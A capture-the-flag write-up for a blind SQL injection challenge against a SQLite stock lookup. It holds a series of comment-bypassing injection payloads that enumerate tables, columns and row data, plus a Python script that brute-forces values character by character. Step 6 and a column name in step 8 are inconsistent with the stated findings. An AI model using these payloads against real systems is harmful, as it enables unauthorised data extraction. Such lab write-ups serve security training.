gapahamSQL
Solved by: ndrasukagacoan
cariin TX-428
note : boleh menggunakan intruder/otomatisasi dengan delay 3 detik
10.4.79.68:40013
author: lushien
This is by far the ugliest fucking webex chall I've solved.
Upon opening the web, we're greeted with a Stock System web.

Try inputting TX-428, as the chall desc suggested:

This is Blind-SQL injection, where the server only returns True and False. In this chall, the indicator is in the UI, where the UI shows a green message box if the query returns True, else a yellow box appears.
After searching around, I found a payload that seems to return True.
TX-428'/**/AND/**/1/**/GLOB/**/1--

Now, to solve this, we need to do some steps:
1. Guess the table count
TX-428'/**/AND/**/(SELECT/**/COUNT(*)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%')=X--
# X = N table
2. Guess the n-table name's length
TX-428'/**/AND/**/(SELECT/**/length(name)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/X)=Y--
X = N-th table
Y = Current number for guessing
3. Guess the n-table name
TX-428'/**/AND/**/(SELECT/**/substr(name,Y,1)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/X)='Z'--
# X = (N-1)th table
# Y = Nth character
# Z = Current character for guessing
4. Count the number of columns
TX-428'/**/AND/**/(SELECT/**/COUNT(name)/**/FROM/**/PRAGMA_table_info('X'))=Y--
X = table name
Y = Current number for guessing
5. Guess the Nth column name's length
TX-428'/**/AND/**/(SELECT/**/length(name)/**/FROM/**/PRAGMA_table_info('X')/**/LIMIT/**/1/**/OFFSET/**/Y)=Z--
# X = table name
# Y = Nth column
# Z = Current number for guessing
6. Guess the Nth column name
TX-428'/**/AND/**/(SELECT/**/substr(name,Y,1)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/X)='Z'--
# X = Nth column
# Y = Nth character of the name
# Z = Current character for guessing
7. Count the number of rows
TX-428'/**/AND/**/(SELECT/**/COUNT(*)/**/FROM/**/app_config)=X--
X = Current number for guessing
8. Guess the row data's length from X column
TX-428'/**/AND/**/(SELECT/**/length(value_config)/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/X)=Y--
# X = Nth row
# Y = Current number for guessing
9. Guess the row data from X column
TX-428'/**/AND/**/(SELECT/**/substr(value_config,Y,1)/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/X)='Z'--
# X = Nth row
# Y = Nth character
# Z = Current character for guessing
Of course, those aren't step-by-step guide, but rather keypoints of what we should do in order to guess the table row.
Final Location
After some debugging, the flag is located in:
- Table name: app_config
- Kolom 1: ID
- Kolom 2: config_key
- Kolom 3: config_value
- Total row: 1
- Row 1, column 2 value:
FLAG - Row 1, column 3 value:
compit{j4d1_h3ngk3r_b3n3r4n}
FLAG: compit{j4d1_h3ngk3r_b3n3r4n}
Automated Script
import requests
from bs4 import BeautifulSoup
import string
import time
URL = "http://10.4.79.68:40013"
session = requests.Session()
session.headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
}
# Get second table length
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/length(name)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/1)={i}--"
# })
# if not req.ok: break
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Table name length: {i}")
# break
# time.sleep(0.5)
LENGTH = 10
# 2. Cari nama tabel kedua
# name = []
# for i in range(1, LENGTH+1):
# print(f"Guessing the letter of {i}...")
# print()
# for j in string.printable:
# print(f"Trying {j}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/substr(name,{i},1)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/1)='{j}'--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {j}")
# name.append(j)
# break
# time.sleep(0.5)
name = "".join(['a', 'p', 'p', '_', 'c', 'o', 'n', 'f', 'i', 'g'])
print(name)
# 3. Cari banyaknya column
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/COUNT(name)/**/FROM/**/PRAGMA_table_info('app_config'))={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {i}")
# break
COLUMN = 3
# Kolom 2.
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/length(name)/**/FROM/**/PRAGMA_table_info('app_config')/**/LIMIT/**/1/**/OFFSET/**/1)={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {i}")
# break
COL2_NAME_LENGTH = 10
# Kolom 2: Nama
# name = []
# for i in range(1, COL2_NAME_LENGTH+1):
# print(f"Guessing the letter of {i}...")
# print()
# for j in string.ascii_lowercase:
# print(f"Trying {j}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/substr(name,{i},1)/**/FROM/**/PRAGMA_table_info('app_config')/**/LIMIT/**/1/**/OFFSET/**/1)='{j}'--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {j}")
# name.append(j)
# break
# time.sleep(0.5)
COL2_NAME = "".join(["c", "o", "n", "f", "i", "g", "_", "k", "e", "y"])
# Kolom 3.
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/length(name)/**/FROM/**/PRAGMA_table_info('app_config')/**/LIMIT/**/1/**/OFFSET/**/2)={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {i}")
# break
COL3_NAME_LENGTH = 12
# Kolom 3: Nama
# name = []
# for i in range(1, COL3_NAME_LENGTH+1):
# print(f"Guessing the letter of {i}...")
# print()
# for j in string.ascii_lowercase:
# print(f"Trying {j}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/substr(name,{i},1)/**/FROM/**/PRAGMA_table_info('app_config')/**/LIMIT/**/1/**/OFFSET/**/2)='{j}'--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {j}")
# name.append(j)
# break
# time.sleep(0.5)
# print(name)
COL3_NAME = "".join(["c", "o", "n", "f", "i", "g", "_", "v", "a", "l", "u", "e"])
# Hitung row
# for i in range(1, 100+1):
# req = requests.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/COUNT(*)/**/FROM/**/app_config)={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Row count: {i}")
# ROW_COUNT = i
# break
# time.sleep(0.5)
ROW_COUNT = 1
# value_id
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/length({COL2_NAME})/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/{ROW_COUNT - 1})={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {i}")
# break
VALUE_ID_LENGTH = 4
# name = []
# for i in range(1, VALUE_ID_LENGTH+1):
# print(f"Guessing the letter of {i}...")
# print()
# for j in string.printable:
# print(f"Trying {j}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/substr({COL2_NAME},{i},1)/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/{ROW_COUNT - 1})='{j}'--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {j}")
# name.append(j)
# break
# time.sleep(0.5)
# print(name)
VALUE_ID = "".join(['F', 'L', 'A', 'G'])
# config_value
# for i in range(1, 100+1):
# print(f"Trying {i}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/length({COL3_NAME})/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/{ROW_COUNT - 1})={i}--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {i}")
# break
CONFIG_VALUE_LENGTH = 28
# name = []
# for i in range(1, CONFIG_VALUE_LENGTH+1):
# print(f"Guessing the letter of {i}...")
# print()
# for j in string.printable:
# print(f"Trying {j}...")
# req = session.post(URL, data={
# "product_id": f"TX-428'/**/AND/**/(SELECT/**/substr({COL3_NAME},{i},1)/**/FROM/**/app_config/**/LIMIT/**/1/**/OFFSET/**/{ROW_COUNT - 1})='{j}'--"
# })
# bs4 = BeautifulSoup(req.text, "lxml")
# if bs4.find_all(class_="success"):
# print(f"Found {j}")
# name.append(j)
# break
# time.sleep(0.5)
# print(name)
CONFIG_VALUE = "".join(['c', 'o', 'm', 'p', 'i', 't', '{', 'j', '4', 'd', '1', '_', 'h', '3', 'n', 'g', 'k', '3', 'r', '_', 'b', '3', 'n', '3', 'r', '4', 'n', '}'])
print(f'FLAG: {"".join(CONFIG_VALUE)}')